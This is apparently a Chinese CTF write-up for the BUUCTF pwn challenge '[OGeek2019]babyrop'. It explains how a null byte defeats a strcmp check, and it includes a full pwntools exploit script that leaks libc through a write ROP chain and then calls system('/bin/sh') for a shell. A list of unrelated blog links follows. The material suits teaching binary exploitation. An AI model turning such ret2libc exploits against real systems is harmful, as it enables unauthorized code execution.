当前位置: 首页 > article >正文

buu-[OGeek2019]babyrop-好久不见41

 

  • 打开 /dev/urandom 设备文件,读取4个字节到 buf 中。

  • buf 传递给 sub_804871F() 函数,该函数似乎对输入进行某种处理并返回一个值 v2

  • 最后,将 v2 传递给 sub_80487D0() 函数。

  • 这个函数首先将 a1 转换为字符串 s

  • 然后从标准输入读取数据到 buf 中,并确保 buf\0 结尾。

  • 比较 bufs 是否相同,如果不同则退出程序。

  • 如果相同,则输出 "Correct" 并返回 buf[7] 的值。

  • 这个函数根据 a1 的值从标准输入读取数据到 buf 中。

步骤1:泄漏 write 函数地址
  • 首先,通过发送特定的 payload 来绕过某种检查(可能是程序中的某种验证逻辑)。

  • 构造 ROP 链调用 write 函数,将 write_got 中的地址(即 write 的实际地址)输出到标准输出。

  • 通过泄漏的 write 地址找到匹配的 libc 版本,并计算出 libc 的基址。

**步骤2:构造 payload 调用 system("/bin/sh")
  • 构造 ROP 链,调用 system("/bin/sh")

  • system 函数的地址放入返回地址。

  • /bin/sh 的地址作为参数传递给 system

from pwn import *
from LibcSearcher import *
context.log_level='debug'
elf=ELF("./baby")
p=remote('node5.buuoj.cn',27634)
# p=process("./pwn")
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
 
write_plt=elf.plt['write']
write_got=elf.got['write']
main_address=0x08048825
payload2=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_address)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
 
addr=u32(p.recv(4))#write_addr
libc=LibcSearcher("write",addr)#通过write的地址来找到符合的libc版本
libc_base_addr=addr-libc.dump("write")#libc基址
system_addr=libc_base_addr+libc.dump("system")#system地址
bin_addr=libc_base_addr+libc.dump("str_bin_sh")#/bin/sh地址
 
print(hex(system_addr))  
print(hex(bin_addr))  
 
p.sendline(payload1)
p.recvuntil("Correct\n")
payload3=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
p.sendline(payload3)
p.interactive()


http://www.kler.cn/a/556348.html

相关文章:

  • Mac arm架构使用 Yarn 全局安装 Vue CLI
  • Brave132编译指南 Linux篇 - Brave简介(一)
  • SkyWalking快速入门
  • ubuntu追加path环境变量
  • 使用爬虫按关键字搜索亚马逊商品:实战指南
  • selenium环境搭建
  • DeepSeek 与网络安全:AI 在网络安全领域的应用与挑战
  • 天 锐 蓝盾终端安全管理系统:办公U盘拷贝使用管控限制
  • 上下文感知 AI Agent 将赋予我们的“超能力”
  • 2后端JAVA:下载数据库数据到EXCEL表格?代码
  • [Android]使用AlarmManager设置周期性任务
  • [C++]使用纯opencv部署yolov12目标检测onnx模型
  • idea任意版本的安装
  • 第1章:LangChain4j的聊天与语言模型
  • rk3588/3576板端编译程序无法运行视频推理
  • OpenBMC:BmcWeb实例化App
  • 清影2.0(AI视频生成)技术浅析(五):音频处理技术
  • AI Agent Service Toolkit:一站式大模型智能体开发套件
  • C++与Python:两种编程语言的区别
  • 【存储中间件API】MySQL、Redis、MongoDB、ES常见api操作及性能比较